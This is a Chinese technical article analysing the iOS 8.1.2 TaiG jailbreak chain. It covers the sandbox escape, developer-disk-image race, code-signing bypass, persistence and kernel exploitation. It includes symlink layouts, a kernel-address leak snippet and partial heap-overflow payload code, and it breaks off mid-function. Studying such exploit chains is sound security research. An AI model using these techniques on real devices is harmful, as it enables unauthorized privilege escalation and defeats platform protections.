<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/12045

            Author:[email protected]

            0x00 簡介


            本文主要介紹了:

            1. 自己對越獄的理解
            2. iOS 8.1.2 越獄工具的工作過程
            3. 越獄過程所使用的漏洞
            4. 每個漏洞的利用方法

            希望通過這篇文章讓大家了解越獄的過程,越獄需要的漏洞類型以及一些利用技巧,具體內容如下。

            0x01 什么是越獄


            要說明什么是越獄,我們首先來看下越獄后可以做哪些原來做不了的事情:

            1. 安裝任意簽名的普通應用和系統應用
            2. 安裝 SSH
            3. 添加命令行程序
            4. 添加 Daemon
            5. 任意添加、刪除文件
            6. 獲取任意 Mach Task
            7. 偽造 Entitlements
            8. 使內存頁同時具有可寫、可執行屬性
            9. ……

            如上的列表給出了越獄后才可以在 iDevice 做的事情,如果單從表象上去羅列,這個列表可以很長,下面我們從技術方面來做下歸納,具體看看破壞了 iOS 系統的哪些保護機制才可以做到上面的事情:

            1. 破壞代碼簽名機制
            2. 破壞對內存頁的保護機制(W+X)
            3. 破壞對磁盤分區(/dev/disk0s1s1)的保護
            4. 破壞 Rootless 保護機制,主要用于保護系統的完整性;

            因此,越獄中“獄”只要指 iOS 的如上三條保護機制,越獄是指破壞這些保護機制。

            0x02 確定目標


            越獄的過程實際上就是攻擊 iOS 系統的過程,在發起攻擊之前我們首先需要確定攻擊的目標,當然從大的方面來說目標就是 iOS 系統,但是這個目標太大了不足以引導攻擊過程,我們需要更確切的目標。如何確定確切的攻擊目標?我們只要找到系統的哪些部分負責相關的保護機制便可以確定最終的攻擊目標,下面是個人總結的攻擊目標:

            1. 內核、amfid、libmiss.dylib:三者配合實現了代碼簽名
            2. 內核:對內存頁屬性的保護完全在內核中實現
            3. 獲取 root 權限:重新 mount 磁盤分區需要 root 權限

            當然在攻擊最終的目標之前,我們還會遇到一些阻礙(系統有多道防線),這些阻礙可以作為階段目標,不同的攻擊路徑所遇到的階段目標也不同,但是通過 USB 發起的攻擊首先需要突破沙盒,因此沙盒也是一個重要的目標。

            如上是個人對越獄的理解,下面會以 iOS 8.1.2 的越獄為例來詳細描述下攻擊過程,所使用的漏洞,以及漏洞的利用方法。

            0x03 攻擊概述


            對于通過 USB 發起的攻擊首先要解決的一個問題是如何突破沙盒。這里的沙盒不單單指由 Sandbox.kext 約束的進程行為,而是廣義上的概念,比如可以將整個 iOS 理解為一個沙盒。默認沙盒只是開啟了如下幾個服務:

            p1 圖1 :沙盒開啟的服務

            iOS 8.1.2 的越獄工具利用 Mobile Backup 的漏洞(CVE-2015-1087) 與 AFC 的漏洞(CVE-2014-448)來過沙盒,然后利用 Image Mounter 的漏洞(CVE-2015-1062)來為用戶空間的任意代碼執行創造條件。如果想在用戶空間執行任意代碼,需要解決代碼簽名驗證問題,越獄工具利用 dyld 的漏洞(CVE-2014-4455)解決了讓 afmid 加載假的 libmiss.dylib 的問題,從而過掉了代碼簽名。這樣用戶空間任意代碼執行的條件都具備了,接下來越獄工具通過一個輔助工具(root權限)來執行 Untecher,Untether 的主要工作內容是首先重新 mount 磁盤的只讀分區到可寫狀態,然后將 /var/mobile/Media 中的 Payload 拷貝到系統的相關目錄。接下來 Untether 行為主要是攻擊內核,這里主要有兩種方式:

            方式一:

            首先利用內核漏洞(CVE-2014-4491)得到內核的起始地址,KASLR 的 Slide,然后結合內核漏洞(CVE-2014-4496)和 IOHIDFamily 的漏洞(CVE-2014-4487)來制造內核空間任意代碼執行、內核寫,接下來利用 Kernel Patch Finder 找到如上提到的保護機制的代碼點以及一些 ROP Gadgets,構造 ROP Chain 來 Patch 內核。

            方式二:

            首先利用內核漏洞(CVE-2014-4496)得到 KASLR 的 Slide,然后利用 IOHIDFamily 的漏洞(CVE-2014-4487) 構造一個內核任意大小讀的利用,讀取某個已知對象的虛函數表,進而計算出內核加載的基地址,接下來與方式一相同。相當于方式二可以少利用一個漏洞。

            如上是對整個越獄過程的大概描述,為的是讓大家有一個大致的印象,接下來會介紹詳細的越獄攻擊過程。

            0x04 攻擊過程


            一、突破沙盒

            相關漏洞

            CVE-2014-4480

            #!bash
            AppleFileConduit – Fixed in iOS 8.1.3
            Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
            Impact: A maliciously crafted afc command may allow access to protected parts of the filesystem
            Description: A vulnerability existed in the symbolic linking mechanism of afc. This issue was addressed by adding additional path checks.
            CVE-ID
            CVE-2014-4480 : TaiG Jailbreak Team 
            

            表1:CVE-2014-4480

            CVE-2015-1087

            #!bash
            Backup – Fixed in iOS 8.3
            Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
            Impact: An attacker may be able to use the backup system to access restricted areas of the file system
            Description: An issue existed in the relative path evaluation logic of the backup system. This issues was addressed through improved path evaluation.
            CVE-ID
            CVE-2015-1087 : TaiG Jailbreak Team 
            

            表2:CVE-2015-1087

            準備目錄結構

            利用 AFC 服務創建目錄、文件、軟鏈接:

            1. 創建目錄:

              #!bash
              PublicStaging/cache/mmap
              __proteas_ex__/a/b/c
              __proteas_ex__/var/mobile/Media/PublicStaging/cache
              __proteas_mx__/a/b/c/d/e/f/g
              __proteas_mx__/private/var
              
            2. 創建空文件:

              #!bash
              __proteas_ex__/var/mobile/Media/PublicStaging/cache/mmap
              __proteas_mx__/private/var/run
              
            3. 創建軟鏈接:

              #!bash
              __proteas_ex__/a/b/c/c -> ../../../var/mobile/Media/PublicStaging/cache/mmap
              __proteas_mx__/a/b/c/d/e/f/g/c -> ../../../../../../../private/var/run 
              

            表3:目錄結構

            p2 圖2:創建目錄的日志

            這里利用的是 CVE-2014-4480,在修補后的設備上,比如:iOS 8.3 上,創建如上的目錄的結構 AFC 會報錯:

            #!bash
            afcd[395] <Error>:
            AFCFileLine="1540"
            AFCFileName="server.c"
            AFCCode="-402636793"
            NSDescription="Request path cannot contain dots :
            ../../../var/mobile/Media/PublicStaging/cache/mmap"
            AFCVersion="232.5" 
            

            表4:AFC 報錯信息

            觸發備份恢復

            我們先看下觸發備份恢復的結果:

            #!bash
            iPhone5s:~ root# ls -al /var/run/mobile_image_mounter
            lrwxr-xr-x 1 mobile mobile 50 Jun 26 17:29
            /var/run/mobile_image_mounter -> ../../../var/mobile/Media/PublicStaging/cache/mmap 
            

            表5:備份恢復的結果

            在 mount DDI 時會生成一些臨時目錄,利用備份恢復的漏洞,這個臨時目錄被暴露到 Media 的子目錄中,從而為利用 DDI 的漏洞創造條件。

            #!bash
            1848 BackupAgent  Chowned  /private/var/.backup.i/var/Keychains
            1848 BackupAgent  Created dir  /private/var/.backup.i/var/Managed Preferences
            1848 BackupAgent  Created dir  /private/var/.backup.i/var/Managed Preferences/mobile
            1848 BackupAgent  Chowned  /private/var/.backup.i/var/Managed Preferences/mobile
            1848 BackupAgent  Created dir  /private/var/.backup.i/var/MobileDevice
            1848 BackupAgent  Created dir  /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
            1848 BackupAgent  Chowned  /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
            1848 BackupAgent  Created dir  /private/var/.backup.i/var/mobile/Media
            1848 BackupAgent  Created dir  /private/var/.backup.i/var/mobile/Media/PhotoData
            1848 BackupAgent  Renamed  /private/var/mobile/Media/__proteas_mx__/a/b/c/d/e/f/g/c    /private/var/.backup.i/var/mobile/Media/PhotoData/c
            1848 BackupAgent  Chowned  /private/var/run
            1848 BackupAgent  Chowned  /private/var/run
            1848   Renamed  /private/var/mobile/Media/__proteas_ex__/a/b/c/c    /private/var/run/mobile_image_mounter
            1848   Chowned  /private/var/mobile/Media/PublicStaging/cache/mmap
            

            表6:備份恢復的日志

            關于 CVE-2015-1087 蘋果的說明非常簡單,但是寫出 PoC 后發現還是相對比較麻煩的,編寫利用時需要注意:

            1. 如果利用 libimobiledevice 來寫利用的話,需要重寫mobilebackup_client_new,以便控制版本號交換,否則無法啟動 BackupAgent。
            2. 需要自己根據 Mobile Backup 的協議構造惡意 Payload(PList 數據),從而使 BackupAgent 創建如上的鏈接。
            3. 使用mobilebackup_send發送 PList,使用mobilebackup_receive接收響應,并判斷是否執行成功。

            為了方便大家調試,給出一個打印 plist 內容的函數:

            #!cpp
            //-- Debug
            void debug_plist(plist_t plist)
            {
                if (!plist) {
                    printf("[-] debug_plist: plist handle is NULL\n");
                    return;
                }
            
                char *buffer = NULL;
                uint32_t length = 0;
                plist_to_xml(plist, &buffer, &length);
            
                if (length == 0) {
                    printf("[-] debug_plist: length is zero\n");
                    return;
                }
            
                char *cstr = (char *)malloc(length + 1);
                memset(cstr, 0, length + 1);
                memcpy(cstr, buffer, length);
            
                printf("[+] DEBUG PLIST:\n");
                printf("--------------------------------------------\n");
                printf("%s\n", cstr);
                printf("--------------------------------------------\n");
            
                free(buffer);
                free(cstr);
            }
            

            表7:代碼 debug plist

            當前進程

            至此,通過對上面兩個漏洞的利用,把 Image Mounter 在 mount dmg 時的臨時目錄暴露到了 /var/mobile/Media/PublicStaging/cache/mmap,為下一步利用 DDI 的漏洞做好了準備。

            二、利用 DDI 的漏洞

            相關漏洞

            CVE-2015-1062

            #!bash
            MobileStorageMounter – Fixed in iOS 8.2
            Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
            Impact: A malicious application may be able to create folders in trusted locations in the file system
            Description: An issue existed in the developer disk mounting logic which resulted in invalid disk image folders not being deleted. This was addressed through improved error handling.
            CVE-ID
            CVE-2015-1062 : TaiG Jailbreak Team
            

            表8:CVE-2015-1062

            Payload 說明

            Payload 有兩個,即兩個 dmg 文件。

            第一個 dmg 有三個分區:

            1. DeveloperDiskImage,空分區
            2. DeveloperCaches,后續會被 mount 到 /System/Library/Caches
            3. DeveloperLib,后續會被 mount 到 /usr/lib

            具體內容如下:

            ├── Developer-Caches
            │   └── com.apple.dyld
            │       └── enable-dylibs-to-override-cache
            ├── Developer-Lib
            │   ├── FDRSealingMap.plist
            │   ├── StandardDMCFiles
            │   │   ├── N51_Audio.dmc
            │   │   ├── N51_Coex.dmc
            │   │   ├── N51_Default.dmc
            │   │   ├── N51_Flower.dmc
            │   │   ├── N51_FullPacket.dmc
            │   │   ├── N51_GPS.dmc
            │   │   ├── N51_Powerlog.dmc
            │   │   ├── N51_SUPL.dmc
            │   │   ├── N51_Sleep.dmc
            │   │   └── N51_Tput.dmc
            │   ├── dyld
            │   ├── libDHCPServer.dylib -> libDHCPServer.A.dylib
            │   ├── libMatch.dylib -> libMatch.1.dylib
            │   ├── libexslt.dylib -> libexslt.0.dylib
            │   ├── libmis.dylib
            │   ├── libsandbox.dylib -> libsandbox.1.dylib
            │   ├── libstdc++.dylib -> libstdc++.6.dylib
            │   ├── system
            │   │   └── introspection
            │   │       └── libdispatch.dylib
            │   └── xpc
            │       └── support.bundle
            │           ├── Info.plist
            │           ├── ResourceRules.plist
            │           ├── _CodeSignature
            │           │   └── CodeResources
            │           └── support
            └── DeveloperDiskImage
            
            10 directories, 24 files 
            

            表9:contents of 1st dmg

            第一個 dmg 中有兩個文件比較重要需要說明下:

            1. enable-dylibs-to-override-cache:我們知道 iOS 中幾乎所有的 dylib 都被 Prelink 到一個 Cache 文件中,程序默認都是從 Cache 中加載 dylib,而忽略文件系統中的 dylib。當文件系統中存在 enable-dylibs-to-override-cache 時,dyld(Image Loader)才會優先加載文件系統中的 dylib。蘋果可能是利用這個機制為自己留條后路或者說支持系統組件的熱更新。
            2. libmis.dylib,malformed 的 dylib,用于過代碼簽名,后續會具體說明。

            第二個 dmg 的內容如下,主要是越獄相關的內容:

            ├── Library
            │   └── Lockdown
            │       └── ServiceAgents
            │           ├── com.apple.load_amfi.plist
            │           ├── com.apple.mount_cache_1.plist
            │           ├── com.apple.mount_cache_2.plist
            │           ├── com.apple.mount_cache_3.plist
            │           ├── com.apple.mount_cache_4.plist
            │           ├── com.apple.mount_cache_5.plist
            │           ├── com.apple.mount_cache_6.plist
            │           ├── com.apple.mount_cache_7.plist
            │           ├── com.apple.mount_cache_8.plist
            │           ├── com.apple.mount_lib_1.plist
            │           ├── com.apple.mount_lib_2.plist
            │           ├── com.apple.mount_lib_3.plist
            │           ├── com.apple.mount_lib_4.plist
            │           ├── com.apple.mount_lib_5.plist
            │           ├── com.apple.mount_lib_6.plist
            │           ├── com.apple.mount_lib_7.plist
            │           ├── com.apple.mount_lib_8.plist
            │           ├── com.apple.ppinstall.plist
            │           ├── com.apple.remove_amfi.plist
            │           ├── com.apple.umount_cache.plist
            │           └── com.apple.umount_lib.plist
            ├── bin
            │   └── ppunmount
            ├── pploader
            └── pploader.idb
            
            4 directories, 24 files 
            

            這個 dmg 會被 mount 到 /Developer,這其中的內容會被系統統一考慮,具體來說就是:假設 /Developer/bin 中的程序默認在系統的查找路徑中。

            漏洞解析

            蘋果對這個漏洞的描述相對比較簡單,網絡上對這個問題的描述是可以利用竟態條件替換 dmg,竟態條件是主要問題,但是竟態條件問題蘋果根本沒有 Fix,也很難修復。但是 DDI 還存在另外一個問題,下面我們一起看下。

            觸發漏洞之前,/dev 中的內容:

            #!bash
            brw-r—– 1 root operator 1, 0 Jun 26 19:07 /dev/disk0
            brw-r—– 1 root operator 1, 1 Jun 26 19:07 /dev/disk0s1
            brw-r—– 1 root operator 1, 3 Jun 26 19:07 /dev/disk0s1s1
            brw-r—– 1 root operator 1, 2 Jun 26 19:07 /dev/disk0s1s2
            brw-r—– 1 root operator 1, 4 Jun 26 19:07 /dev/disk1
            brw-r—– 1 root operator 1, 5 Jun 26 19:07 /dev/disk2
            brw-r—– 1 root operator 1, 6 Jun 26 19:07 /dev/disk3
            brw-r—– 1 root operator 1, 7 Jun 26 19:07 /dev/disk4
            brw-r—– 1 root operator 1, 8 Jun 26 19:08 /dev/disk5
            

            表11:mount dmg 前

            觸發漏洞之后,/dev 中的內容:

            #!bash
            brw-r—– 1 root operator 1,  0 Jun 26 19:22 /dev/disk0
            brw-r—– 1 root operator 1,  1 Jun 26 19:22 /dev/disk0s1
            brw-r—– 1 root operator 1,  2 Jun 26 19:22 /dev/disk0s1s1
            brw-r—– 1 root operator 1,  3 Jun 26 19:22 /dev/disk0s1s2
            brw-r—– 1 root operator 1,  4 Jun 26 19:22 /dev/disk1
            brw-r—– 1 root operator 1,  5 Jun 26 19:22 /dev/disk2
            brw-r—– 1 root operator 1,  6 Jun 26 19:22 /dev/disk3
            brw-r—– 1 root operator 1,  7 Jun 26 19:22 /dev/disk4
            brw-r—– 1 root operator 1,  8 Jun 26 19:23 /dev/disk5
            brw-r—– 1 root operator 1,  9 Jun 26 19:26 /dev/disk6
            brw-r—– 1 root operator 1, 10 Jun 26 19:26 /dev/disk6s1
            brw-r—– 1 root operator 1, 11 Jun 26 19:26 /dev/disk6s2
            brw-r—– 1 root operator 1, 12 Jun 26 19:26 /dev/disk6s3
            

            表12:mount dmg 后

            上面是利用竟態條件 mount 第一個 dmg 之前與之后的結果,上面已經提到第一個 dmg 的 DeveloperDiskImage 分區是空的,不存在內容替換問題。

            從上面的對比可以看到 MobileStorageMounter 還存在另外一個問題就是:在 mount 非法的 dmg 時,即使 mount 失敗,相應的分區還在設備目錄中存在,在越獄過程中這些 disk 會被掛載:

            觸發竟態條件

            在觸發竟態條件做 dmg 替換前,需要找到 dmg 的臨時目錄,下面會說明 dmg 臨時目錄的構造規則。

            先看真實的路徑,然后再說明構造方法:

            /var/run/mobile_image_mounter/
            6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b
            1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/
            909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39
            f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/
            

            表13:mount dmg 生成的臨時目錄

            如上表,藍色是路徑的第一部分,綠色是路徑的第二部分(注:代碼第2、3行為藍色,4、5行為綠色),下面看下 dmg 對應的簽名文件內容:

            p3

            圖3:DeveloperDiskImage.dmg.signature

            對比之后可以看到臨時路徑的生成規則是:將簽名文件的內容轉換為十六進制字符串,然后將前64個字節作為路徑的第一部分,將后64個字節作為路徑的第二部分,之后在拼接上一個隨機生成文件名的 dmg 文件,如:1Nm843.dmg。

            在找到 dmg 文件后,觸發竟態條件就相對容易些,具體方法為:首先檢查 DDI 是否已經 mount 了(開發設備很可能已經 mount 了),如果已經 mount 了,重啟設備。如果沒有 mount,首先加載真實的 DDI 與簽名,然后創建臨時目錄,上傳假的 DDI,再調用相關服務mount 真實的 DDI,緊接著用假的 DDI 去替換上面提到的臨時文件(1Nm843.dmg)。

            利用結果

            完成利用 DDI 的漏洞后,第一個 dmg 的分區在設備上保留,第二個 dmg 的內容被掛載到 /Developer:

            #!bash
            /Developer/Library
            /Developer/bin
            /Developer/pploader
            /Developer/Library/Lockdown
            /Developer/Library/Lockdown/ServiceAgents
            /Developer/Library/Lockdown/ServiceAgents/com.apple.load_amfi.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_1.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_2.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_3.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_4.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_5.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_6.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_7.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_8.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_1.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_2.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_3.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_4.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_5.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_6.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_7.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_8.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.ppinstall.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.remove_amfi.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.umount_cache.plist
            /Developer/Library/Lockdown/ServiceAgents/com.apple.umount_lib.plist
            /Developer/bin/ppunmount
            

            表14:設備上 /Developer 目錄的內容

            完成對 DDI 的利用后,相當于我們向系統又添加了一些服務,這些服務如果使用的是系統本身的程序則可以直接調用,如果使用的是自己的程序則首先需要過掉代碼簽名。

            p4 圖4:com.apple.remove_amfi.plist

            p5 圖5:com.apple.ppinstall.plist

            至此,只要我們再過掉代碼簽名便可以在用戶空間已 root 權限執行任意代碼了,下面看下代碼簽名。

            三、過代碼簽名

            相關漏洞

            CVE-2014-4455

            #!bash
            dyld – Fixed in iOS 8.1.3
            Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
            Impact: A local user may be able to execute unsigned code
            Description: A state management issue existed in the handling of Mach-O executable files with overlapping segments. This issue was addressed through improved validation of segment sizes.
            CVE-ID
            CVE-2014-4455 : TaiG Jailbreak Team
            

            表15:CVE-2014-4455

            這里過代碼簽名所使用的技術手段與之前的越獄工具相同,只是利用的漏洞不同,還是利用 dylib 函數重導出技術,利用了 dylib 重導出技術后,libmiss.dylib 變成了一個純數據的 dylib,在執行期間發生缺頁異常時也就不會觸發內核對內存頁的代碼簽名驗證,這點比較重要,因為這里的過代碼簽名技術不是通用的,只能針對純數據的 dylib。

            相信大家都看過代碼簽名相關的文檔與資料,比如: Stefan Esser 的《death of the vmsize=0 dyld trick》,大多都會介紹利用 MachO 的 Segment 重疊技術來過代碼簽名,這里不再對這種技術做詳細的說明。但是會解析另外一個問題:既然是一個純數據的 dylib,本身也沒有代碼為何還要費勁得去過代碼簽名?因為 loader 要求 MachO 文件必須有一個代碼段,即使本身不需要。

            由于 iOS 8 之后 AMFI 中增加了另外一個安全機制,即:Library Validation,這個安全機制主要用來對抗代碼注入式的攻擊,盤古在 《Userland Exploits of Pangu 8》中對 LV (Library Validation)有介紹,下圖是逆向分析得到的 LV 的流程圖,供大家參考:

            p6 圖6:庫驗證的流程圖

            因此,這里 libmiss.dylib 也利用移植代碼簽名的技術手段來過 LV,這里給大家一個移植代碼簽名的思路:

            1. 解析要利用其簽名信息的 MachO 文件,比如 afcd,從其中將簽名數據 dump 到文件中,并得到大小。
            2. 在對 libmiss.dylib 做 malformed 之前,先用 codesign_allocate 為 dylib 申請簽名空間,為第一步中的大小:

              #!bash
              man codesign_allocate
              codesign_allocate -i libmis.dylib -a arm64 128 -o libmis2.dylib 
              
            3. 對 libmiss.dylib 做 malformed。

            4. 利用二進制編輯工具修改 libmiss.dylib,將預留的簽名數據空間替換為第一步導出的簽名數據。

            四、用戶空間 root 執行任意代碼

            至此,我們已經制作了 malformed libmiss.dylib,只要 afmid 加載了這個 dylib 相當于就過掉了代碼簽名。下面一起看下越獄工具以什么樣的順序執行 /Developer/Library/Lockdown/ServiceAgents 中的服務:

            1. 調用 com.apple.mount_cache_1~8.plist 中的服務,mount /dev/disk1s3 到 /System/Library/Caches,目的是讓系統中存在 enable-dylibs-to-override-cache,從而可以用磁盤中的 libmiss.dylib 覆蓋 dylib cache 中的文件。之所以有 1~8 是因為越獄工具無法確定具體是哪個 disk。
            2. 調用 com.apple.mount_lib_1~8.plist 中的服務,mount /dev/disk1s2 到 /usr/lib,這樣 libmiss.dylib 就存在于文件系統中了。
            3. 調用 com.apple.remove_amfi.plist 中的服務,停掉 amfid。
            4. 調用 com.apple.load_amfi.plist 中的服務,重啟 amfid 服務,由于 enable-dylibs-to-override-cache 的存在,/usr/lib 中的 malformed libmis.dylib 會被加載,代碼簽名的函數都被重導出,對于代碼簽名請求總會返回 0,0代表簽名有效。之后,我們便可以執行任意代碼了。
            5. 調用 com.apple.ppinstall.plist 中的服務,以 root 權限運行 untether,untether 會重新 mount 根分區到可寫,將 /var/mobile/Media 中的 Payload 拷貝到系統的相應目錄中,然后就是攻擊內核,Patch 掉文章開始提到的安全特性。
            6. 調用 com.apple.umount_cache.plist 中的服務,還原 /System/Library/Caches 目錄到磁盤上的狀態。
            7. 調用 com.apple.umount_lib.plist 中的服務,還原 /usr/lib 目錄到磁盤上的狀態。

            至此,用戶空間的攻擊基本結束了,下面會介紹了持久化的方法,之后會介紹針對內核的攻擊。

            五、持久化(完美越獄)

            所謂完美越獄是指設備重啟后可以自動運行 untecher,這樣就需要把 untether 做成開機自動啟動的服務。我們知道系統的自啟動服務存放在 /System/Library/LaunchDaemons/ 中,每個服務都是使用 plist 來配置,但是大概是從 iOS 7 之后自啟動服務的 plist 還需要嵌入到 libxpc.dylib 中,蘋果是想用代碼簽名技術保護防止惡意程序修改自啟動服務。

            因此,如果想讓 untether 開機自啟動我們還需要將相關的 plist 嵌入到 libxpc.dylib 中,由于 libxpc.dylib 會被修改,從而破壞了其原本的代碼簽名,因此也需要使用與構造 libmiss.dylib 相同的技術來過代碼簽名,過庫驗證。

            下面介紹下系統是如何從 libxpc.dylib 中讀取 plist 數據的:

            1. 使用 dlopen 加載 libxpc.dylib。
            2. 調用 dlsym 判斷是否存在導出符號:__xpcd_cache
            3. 調用 dladdr 得到__xpcd_cache符號的地址。
            4. 調用 getsectiondata 得到包含__xpcd_cache的Section的數據。
            5. 調用 CFDataCreateWithBytesNoCopy 創建 CFData 對象。
            6. 調用 CFPropertyListCreateWithData 將 Data 轉換為 plist。

            在測試的過程中編寫了一個打印 libxpc.dylib 中 plist 信息的工具,大家可以從 github 下載,在設備上使用:

            https://github.com/Proteas/xpcd_cache_printer

            之所以在這里介紹持久化,是因為持久化是完美越獄的重要組成部分,但是又不屬于內核漏洞。介紹來會介紹內核相關的漏洞與利用。

            六、內核信息泄露

            相關漏洞

            CVE-2014-4491

            #!bash
            Kernel – Fixed in iOS 8.1.3
            Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
            Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
            Description: An information disclosure issue existed in the handling of APIs related to kernel extensions. Responses containing an OSBundleMachOHeaders key may have included kernel addresses, which may aid in bypassing address space layout randomization protection. This issue was addressed by unsliding the addresses before returning them.
            CVE-ID
            CVE-2014-4491 : @PanguTeam, Stefan Esser
            

            表17:CVE-2014-4491

            CVE-2014-4496

            #!bash
            Kernel – Fixed in iOS 8.1.3
            Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
            Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
            Description: The mach_port_kobject kernel interface leaked kernel addresses and heap permutation value, which may aid in bypassing address space layout randomization protection. This was addressed by disabling the mach_port_kobject interface in production configurations.
            CVE-ID
            CVE-2014-4496 : TaiG Jailbreak Team
            

            表18:CVE-2014-4496

            利用方法

            CVE-2014-4491,邏輯漏洞,不需要什么利用技巧,利用如下的代碼,可以獲取到內核信息:

            #!objc
            - (NSData *)getKextInfoData
            {
                vm_offset_t request = "<dict><key>Kext Request Predicate</key><string>Get Loaded Kext Info</string></dict>";
                mach_msg_type_number_t requestLength = (unsigned int)strlen(request) + 1;
            
                vm_offset_t response = NULL;
                mach_msg_type_number_t responseLength = 0;
            
                vm_offset_t log = NULL;
                mach_msg_type_number_t logLength = 0;
            
                kern_return_t opResult = KERN_SUCCESS;
            
                kext_request(mach_host_self(),
                             0,
                             request,
                             requestLength,
                             &response,
                             &responseLength,
                             &log,
                             &logLength,
                             &opResult);
                if (opResult != KERN_SUCCESS) {
                    printf("[-] getKextInfoString: fail to request kernel info\n");
                    return NULL;
                }
            
                NSData *responseData = [[NSData alloc] initWithBytes:response length:responseLength];
            
                return [responseData autorelease];
            }
            

            表19:CVE-2014-4491 的利用

            具體信息如下圖:

            p7 圖7:內核信息

            得到內核信息后,解析 xml 數據,得到 OSBundleMachOHeaders 鍵對應 Base64 字符串,之后解碼字符串可以得到一個 MachO:

            p8 圖8:MachO Header

            然后解析這個 MachO 頭從中得到__TEXT Segment的開始地址,得到__PRELINK_STATE的開始地址,然后從__PRELINK_STATE的開始地址中計算出內核的開始地址,用內核的開始地址減去__TEXT的開始地址就是 KASLR 的 Slide。__PRELINK_INFO Segment 的結束地址就是內核的結束地址。這樣我們就得到了內核的起始地址、結束地址、KASLR 的 Slide。這些信息主要有兩方面的應用:Patch 內核相關的工作需要內核的真實地址;在內核堆利用過程中也需要知道KASLR 的 Slide 從而得到堆對象的真實地址。

            CVE-2014-4496,邏輯漏洞,Stefan Esser 對這個漏洞做了詳細的描述:

            mach_port_kobject() and the kernel address obfuscation

            大家可以仔細閱讀下,這里補充下具體怎么獲得那個常量對象:

            #!objc
            io_master_t io_master = 0;
            kret = host_get_io_master(mach_host_self(), &io_master);
            

            表20:創建常量對象

            至此內核信息泄露相關的漏洞已經介紹完畢,這些都是內核讀與內核代碼執行的準備工作。

            七、內核讀、任意代碼執行

            相關漏洞

            CVE-2014-4487

            #!bash
            IOHIDFamily – Fixed in iOS 8.1.3
            Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
            Impact: A malicious application may be able to execute arbitrary code with system privileges
            Description: A buffer overflow existed in IOHIDFamily. This issue was addressed through improved size validation.
            CVE-ID
            CVE-2014-4487 : TaiG Jailbreak Team
            

            表21:CVE-2014-4487

            盤古團隊專門有篇文章介紹了這個漏洞產生的原因以及利用思路,大家可以仔細讀下:

            CVE-2014-4487 – IOHIDLibUserClient堆溢出漏洞

            利用思路:將一個小 zone 中的內存塊釋放到大的 zone 中,結合堆風水,釋放后立即申請剛剛釋放的內存塊,便可以覆蓋相鄰的小內核塊。

            利用思路示意圖

            利用思路:將一個小 zone 中的內存塊釋放到大的 zone 中,結合堆風水,釋放后立即申請剛剛釋放的內存塊,便可以覆蓋相鄰的小內核塊。

            p9 圖9:堆溢出利用過程

            內核讀

            內核讀主要利用的 mach_msg 的 ool descriptor,具體過程如下:

            1. 利用堆風水從 zone-256 中申請 8 個連續的內存塊。
            2. 釋放前面 5 個內存塊。
            3. 向當前 Mach Task(untether)發送 mach 消息,消息帶有 8 個 ool descriptor,每個 ool descriptor 的大小為:256 – sizeof(fake_vm_map_copy_64)

              #!objc
              typedef struct fake_vm_map_copy_64_ {
                  uint32_t type;
                  uint64_t offset;
                  uint64_t size;
                  union {
                      struct {
                          uint8_t something[64];
                      };
                      uint64_t object;
                      struct {
                          uint64_t kdata;
                          uint64_t kalloc_size;
                      };
                  };
              } fake_vm_map_copy_64;
              

              表22:關鍵數據結構:fake_vm_map_copy_64

              這樣剛剛釋放的內存塊,就會被申請到。

            4. 釋放堆風水中后面 3 個內存塊。

            5. 觸發漏洞,第 6 個內存塊會被添加到 zone-1024 中。

            6. 再次向自己發消息,ool descriptor 的大小為: 960 – sizeof(fake_vm_map_copy_64),因為系統會從 zone-1024 中分配 960 大小的內存塊,這樣我們只要控制 960 內存塊的內容就可以控制溢出。

            7. 控制溢出:

              #!objc
              - (void)constructPayload:(uint8_t *)buffer
                        kobjectAddress:(mach_vm_address_t)kobject_address
                           readAddress:(mach_vm_address_t)address
                             _readSize:(mach_vm_size_t)size
              {
                  // 0xA8 = 168(payload) = 256 - sizeof(fake_vm_map_copy_64)
                  if (size < 0xA8) {
                      size = 0xA8;
                  }
              
                  // 0x368 = 872 = 960 - 88
                  // 0x0A8, 0x1A8, 0x2A8, 0x3A8
                  // 0x3A8 - 0x368 = 0x40 = 64
